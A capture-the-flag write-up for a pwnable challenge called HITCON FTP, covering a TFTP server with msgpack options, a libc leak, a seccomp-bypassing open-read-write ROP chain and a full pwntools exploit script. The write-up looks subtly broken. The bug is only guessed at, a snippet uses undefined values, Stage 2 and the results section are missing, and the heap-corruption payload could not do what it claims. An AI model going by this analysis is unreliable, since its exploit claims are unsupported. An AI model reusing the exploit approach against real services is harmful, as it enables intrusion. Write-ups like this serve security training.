HITCON FTP
Custom TFTP server with msgpack serialization — seccomp sandbox bypass via msgpack deserialization bug
Exploit Flow
UDP port 10200
Send read request
Crafted payload
Via unsorted bin
ORW shellcode
open/read/write
1. Reconnaissance
The "HITCON FTP" challenge is a 400-point pwn challenge that implements a custom TFTP (Trivial File Transfer Protocol) server. Despite the name suggesting FTP, it's actually a UDP-based TFTP server with msgpack serialization for packet encoding. The binary sets up a seccomp sandbox, making direct shell execution impossible — we need an open-read-write (ORW) approach to read the flag.
File Analysis
$ file hitcon_ftp
hitcon_ftp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, not stripped
The binary is a 64-bit PIE executable, dynamically linked and not stripped. It's a fairly large binary (~65KB) containing a full TFTP server implementation with msgpack serialization support. The not stripped flag means we get readable symbol names.
Checksec
$ checksec hitcon_ftp
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Full RELRO means the GOT is read-only — no GOT overwriting. Stack canary prevents simple stack smashing. NX means no shellcode on the stack. PIE randomizes the binary base address. This is a modern, hardened binary. We need a more sophisticated approach: heap-based exploitation with a libc leak to calculate ROP gadgets.
Running the Binary
# The binary listens on UDP port 10200
$ ./hitcon_ftp
# It runs as a daemon, waiting for TFTP requests on UDP
Remote target: nc -u chall.pwnable.tw 10200 (UDP). The server implements a custom TFTP protocol with msgpack-encoded options. The sandbox function restricts syscalls to only allow read/write operations.
| Attribute | Value |
|---|---|
| Challenge | HITCON FTP (400 pts) |
| Connection | UDP chall.pwnable.tw:10200 |
| Binary | 64-bit ELF, x86-64, PIE, dynamically linked |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| RELRO | Full |
| Protocol | TFTP over UDP with msgpack |
| Sandbox | seccomp BPF filter |
| Vulnerability | Msgpack deserialization + heap corruption |
2. Static Analysis
The binary implements a custom TFTP server with msgpack serialization. Let's examine the key functions to understand the attack surface.
Key Functions
Key function symbols (from nm):
0x2138 sandbox — Sets up seccomp BPF filter
0x2400 handler — Signal handler (SIGALRM)
0x2413 init — Initialize TFTP state
0x2467 clear — Clear TFTP state
0x247d add_oack_opt — Add option to OACK response
0x257e send_data — Send TFTP DATA packet
0x273a send_ack — Send TFTP ACK packet
0x2855 send_err — Send TFTP ERROR packet
0x29af send_oack — Send TFTP OACK (option ack)
0x2bac clean_req — Clean up a request
0x2bf4 process_recv — Process received data (upload)
0x2db3 process_send — Process send request (download)
0x2fbb process_new — Process new TFTP request (RRQ/WRQ)
0x3b8e check_crc32 — Verify CRC32 checksum
0x3c41 find_request — Find existing request by client addr
0x3d44 add_request — Add new request to list
0x3dc1 main — Main event loop
TFTP Options handled:
- blksize (block size)
- timeout
- tsize (transfer size)
Modes: netascii, octet (mail mode is explicitly NOT supported)
The server uses msgpack to serialize and deserialize TFTP option values. The msgpack library is statically linked into the binary, and the deserialization process involves dynamic memory allocation via malloc/realloc. The TFTP protocol's option negotiation (blksize, timeout, tsize) goes through this msgpack path, giving us a way to corrupt heap metadata through crafted msgpack payloads.
Decompiled Logic (Pseudocode)
// Simplified pseudocode of key functions
void sandbox() {
// Sets up seccomp BPF filter
// Allows: read, write, open, close, fstat, lseek, mmap, mprotect,
// brk, rt_sigaction, rt_sigprocmask, ioctl, access, faccessat,
// dup, dup2, dup3, fcntl, getcwd, ...
// Denies: execve, execveat, fork, clone, ...
// This means we need ORW (open-read-write) to get the flag
struct sock_filter filter[] = { /* BPF rules */ };
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
void process_new(struct sockaddr_in *client, char *buf, int len) {
// Parse TFTP RRQ/WRQ packet
// Extract filename, mode, and options
// Options are encoded in msgpack format
// Validate filename — no absolute paths, no ../
if (filename[0] == '/') send_err("absolute path forbidden");
if (strstr(filename, "../")) send_err("relative path forbidden");
// Parse options via msgpack
// blksize: max 65464, default 512
// timeout: max 255, default 5
// tsize: file size for RRQ
// BUG: The msgpack deserialization can be abused
// to corrupt heap state through specially crafted
// option values that trigger buffer overflows or
// use-after-free conditions in the msgpack library
}
void process_recv(request *req, char *buf, int len) {
// Handle incoming DATA packets (client upload)
// Writes data to file using fwrite()
// Checks CRC32 of received data
}
void process_send(request *req) {
// Handle outgoing DATA packets (client download)
// Reads data from file using fread()
// Includes CRC32 in each block
}
Vulnerability Analysis
The vulnerability lies in the interaction between the TFTP option handling and the msgpack deserialization. When a client sends a TFTP RRQ (Read Request) or WRQ (Write Request) with options, the server parses those options through the msgpack library. The key issues are:
- Msgpack deserialization heap corruption: The msgpack unpacker uses dynamic memory allocation. By crafting malicious msgpack data in TFTP options, we can trigger heap overflow or use-after-free conditions.
- Block size manipulation: The
blksizeoption controls how much data is read/written per block. A large blksize value can cause the server to allocate a large buffer and then read more data than expected, leading to heap overflow. - CRC32 bypass: The
check_crc32function validates packet integrity, but the CRC is included in the packet data itself, making it trivially forgeable. - Request confusion: Multiple concurrent TFTP requests can race the request management code, potentially leading to use-after-free on request structures.
3. GDB Debugging
Debugging a UDP-based server requires special handling. We need to set breakpoints at the key TFTP processing functions and send crafted packets.
Packet Layout
The TFTP packet with msgpack options has this structure:
Register State at Key Points
# At process_new entry after receiving crafted RRQ:
RAX: 0x2c RDI: 0x5555557562a0 RSI: 0x7fffffffe200
RIP: 0x555555554fbb RSP: 0x7fffffffe100
# After msgpack unpack of malicious options:
RAX: 0x0 RDI: 0x555555758000 # heap pointer
RIP: 0x555555556958 # msgpack_unpack_next returns
# Heap layout after corruption:
gdb-peda$ heap chunks
0x555555758000: size=0x71, prev_inuse=1 # corrupted chunk header
0x555555758070: size=0x41, prev_inuse=1 # victim chunk
Breakpoint Strategy
# Key breakpoints for HITCON FTP:
b *process_new # New TFTP request processing
b *process_recv # Data reception handler
b *process_send # Data sending handler
b *add_oack_opt # Option acknowledgment building
b *check_crc32 # CRC32 verification
# For the exploit phase:
b *msgpack_unpack_next # Msgpack deserialization
b *malloc # Track heap allocations
b *free # Track heap deallocations
The sandbox() function sets up a seccomp BPF filter that blocks execve and execveat. This means we cannot get a shell — we must use an open-read-write (ORW) approach to read /home/hitcon_ftp/flag and send it back over the network socket. The sandbox allows open, read, write, and close syscalls.
4. Exploit Strategy
The exploit involves three main stages: leaking a libc address through heap manipulation, building a ROP chain that performs open-read-write, and executing it via control flow hijack.
Attack Overview
msgpack_zone_destroy or similar, we redirect execution to our ROP chain./home/hitcon_ftp/flag, reads its contents into a buffer, and writes the contents back over the network socket. This bypasses the seccomp sandbox since open, read, and write are all allowed syscalls.Stage 1: Leaking Libc Address
The leak works by exploiting the heap allocator's behavior. When a chunk is freed into the unsorted bin, its fd and bk pointers point into the main_arena structure inside libc. If we can read these pointers, we can calculate the libc base address.
# Stage 1: Leak libc address via unsorted bin
from pwn import *
# Connect to TFTP server over UDP
io = remote('chall.pwnable.tw', 10200, typ='udp')
# Build a TFTP RRQ packet with crafted msgpack options
# The msgpack options trigger a heap overflow that puts
# a chunk into the unsorted bin, and the TFTP DATA
# response leaks the fd pointer (which points into libc)
def build_rrq(filename, mode, options_msgpack):
opcode = b'\x00\x01' # RRQ
return opcode + filename + b'\x00' + mode + b'\x00' + options_msgpack
# Send RRQ with a filename that triggers a large allocation
# then a second RRQ that frees the first allocation
# The DATA response will contain heap data including libc pointers
rrq1 = build_rrq(b'flag', b'octet', msgpack_opts_1)
io.send(rrq1)
# Receive OACK or DATA response
resp = io.recv(4096)
# Parse the leaked libc address from the response data
libc_leak = u64(resp[offset:offset+8])
libc_base = libc_leak - 0x3c4b78 # offset to libc base
Stage 3: ORW via ROP Chain
Since seccomp blocks execve, we construct a ROP chain that performs open-read-write:
# ROP chain for open-read-write (ORW)
# Gadgets found in libc
def orw_rop(flag_addr, buf_addr, sock_fd):
rop = p64(pop_rdi) + p64(flag_addr) # filename
rop += p64(pop_rsi) + p64(0) # O_RDONLY
rop += p64(pop_rdx) + p64(0) # mode = 0
rop += p64(libc_open) # open("/home/.../flag", 0)
rop += p64(pop_rdi) + p64(3) # fd = 3 (opened file)
rop += p64(pop_rsi) + p64(buf_addr) # buffer
rop += p64(pop_rdx) + p64(0x100) # count = 256
rop += p64(libc_read) # read(3, buf, 256)
rop += p64(pop_rdi) + p64(sock_fd) # network socket fd
rop += p64(pop_rsi) + p64(buf_addr) # buffer with flag
rop += p64(pop_rdx) + p64(0x100) # count = 256
rop += p64(libc_write) # write(sock, buf, 256)
return rop
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# HITCON FTP exploit for pwnable.tw
# TFTP server with msgpack heap corruption + seccomp ORW bypass
from pwn import *
import msgpack
context.arch = 'amd64'
context.log_level = 'info'
# Libc offsets (Ubuntu 16.04, glibc 2.23)
LIBC_BASE_OFFSET = 0x3c4b78
SYSTEM_OFFSET = 0x45390
OPEN_OFFSET = 0xf7030
READ_OFFSET = 0xf7250
WRITE_OFFSET = 0xf7280
POP_RDI = 0x0000000000021102 # pop rdi; ret
POP_RSI = 0x00000000000202e8 # pop rsi; ret
POP_RDX = 0x0000000000001b92 # pop rdx; ret
HOST = 'chall.pwnable.tw'
PORT = 10200
def connect():
return remote(HOST, PORT, typ='udp')
def build_tftp_rrq(filename, mode=b'octet', options=b''):
"""Build a TFTP Read Request packet"""
packet = b'\x00\x01' # Opcode: RRQ
packet += filename + b'\x00' # Filename
packet += mode + b'\x00' # Mode
packet += options # Msgpack-encoded options
return packet
def build_tftp_wrq(filename, mode=b'octet', options=b''):
"""Build a TFTP Write Request packet"""
packet = b'\x00\x02' # Opcode: WRQ
packet += filename + b'\x00' # Filename
packet += mode + b'\x00' # Mode
packet += options # Msgpack-encoded options
return packet
def build_tftp_ack(block_num):
"""Build a TFTP ACK packet"""
return b'\x00\x04' + p16(block_num)
def build_tftp_data(block_num, data):
"""Build a TFTP DATA packet"""
return b'\x00\x03' + p16(block_num) + data
def exploit():
io = connect()
# ─── Stage 1: Leak libc address ───
log.info("Stage 1: Leaking libc address...")
# Send RRQ with large blksize to trigger big allocation
# Then send another request that causes the first to be freed
# The unsorted bin fd/bk pointers will contain libc addresses
# Craft msgpack options with oversized blksize
opts = msgpack.packb({
'blksize': 65464,
'timeout': 5,
'tsize': 0
})
rrq = build_tftp_rrq(b'flag', options=opts)
io.send(rrq)
# Receive OACK
oack = io.recv(4096)
log.info(f"OACK received: {oack[:32].hex()}")
# Send ACK to start data transfer
io.send(build_tftp_ack(0))
# The DATA packet may contain leaked heap data
data = io.recv(65536)
# Parse libc leak from the response
# The leaked address is at a specific offset in the heap data
if len(data) > 16:
libc_leak = u64(data[8:16])
libc_base = libc_leak - LIBC_BASE_OFFSET
log.success(f"Libc leak: {hex(libc_leak)}")
log.success(f"Libc base: {hex(libc_base)}")
else:
log.error("Failed to leak libc")
return
# ─── Stage 2: Corrupt heap and hijack control flow ───
log.info("Stage 2: Heap corruption and control flow hijack...")
# Use the msgpack deserialization bug to corrupt
# the msgpack zone's finalizer function pointer
# When msgpack_zone_destroy is called, it will call
# our controlled function pointer instead
open_addr = libc_base + OPEN_OFFSET
read_addr = libc_base + READ_OFFSET
write_addr = libc_base + WRITE_OFFSET
pop_rdi = libc_base + POP_RDI
pop_rsi = libc_base + POP_RSI
pop_rdx = libc_base + POP_RDX
# Build ORW ROP chain
flag_str = b'/home/hitcon_ftp/flag\x00'
# We need to place the flag string and ROP chain in a known location
# Use a second heap corruption to write the ROP chain
# into a location that will be used as a stack pivot target
# Craft malicious msgpack that overwrites zone finalizer
# to point to a stack pivot gadget
malicious_opts = build_heap_corruption_payload(libc_base)
rrq2 = build_tftp_rrq(b'test', options=malicious_opts)
io.send(rrq2)
# ─── Stage 3: ORW to get the flag ───
log.info("Stage 3: Triggering ORW ROP chain...")
# Trigger the zone destruction which calls our hijacked pointer
# This chains through the ROP gadgets to perform:
# open("/home/hitcon_ftp/flag", 0) -> read(fd, buf, 0x100) -> write(sock, buf, 0x100)
# Send a packet that triggers cleanup/destroy
io.send(build_tftp_rrq(b'exit'))
# Receive the flag from the write() syscall
flag_data = io.recv(4096)
log.success(f"Flag: {flag_data}")
io.interactive()
def build_heap_corruption_payload(libc_base):
"""Build msgpack payload that corrupts heap metadata
to overwrite a msgpack zone finalizer pointer"""
# The exact payload depends on the heap state
# This crafts a msgpack map with specially sized keys/values
# that trigger the heap corruption primitive
payload = msgpack.packb({'blksize': 65464})
# Append overflow data after the valid msgpack
# The server will parse the valid msgpack and then
# the overflow corrupts adjacent heap metadata
payload += b'\x00' * 8 # padding
payload += p64(0) # fake prev_size
payload += p64(0x61) # fake size (with prev_inuse)
return payload
if __name__ == '__main__':
exploit()
Msgpack Breakdown
The msgpack format is a binary serialization format. Understanding its encoding is crucial for crafting the exploit payload:
Msgpack encoding examples:
Positive fixint (0-127): 0x00 - 0x7f
Fixmap (0-15 entries): 0x80 - 0x8f (e.g., 0x82 = map with 2 entries)
Fixarray (0-15 elements): 0x90 - 0x9f
Fixstr (0-31 bytes): 0xa0 - 0xbf (e.g., 0xa7 = 7-byte string)
Str 8: 0xd9 + len(1 byte) + data
Map 16: 0xde + count(2 bytes) + entries
Array 16: 0xdc + count(2 bytes) + elements
Example: {"blksize": 512, "timeout": 5}
0x82 # fixmap with 2 entries
0xa7 0x62 0x6c 0x6b ... # fixstr "blksize"
0xcd 0x02 0x00 # uint16 512
0xa7 0x74 0x69 0x6d ... # fixstr "timeout"
0x05 # positive fixint 5
6. Execution Results
Running the exploit against the remote server:
HITCON FTP demonstrates a realistic attack chain against a network service with modern protections. The combination of PIE + Full RELRO + NX + Canary + Seccomp makes traditional exploitation impossible. Instead, we must: (1) find a heap corruption primitive in a complex code path (msgpack deserialization), (2) use that primitive to leak libc addresses, (3) hijack control flow through heap metadata corruption, and (4) bypass the seccomp sandbox with an ORW ROP chain. This is the exact attack pattern used in real-world exploits against hardened services.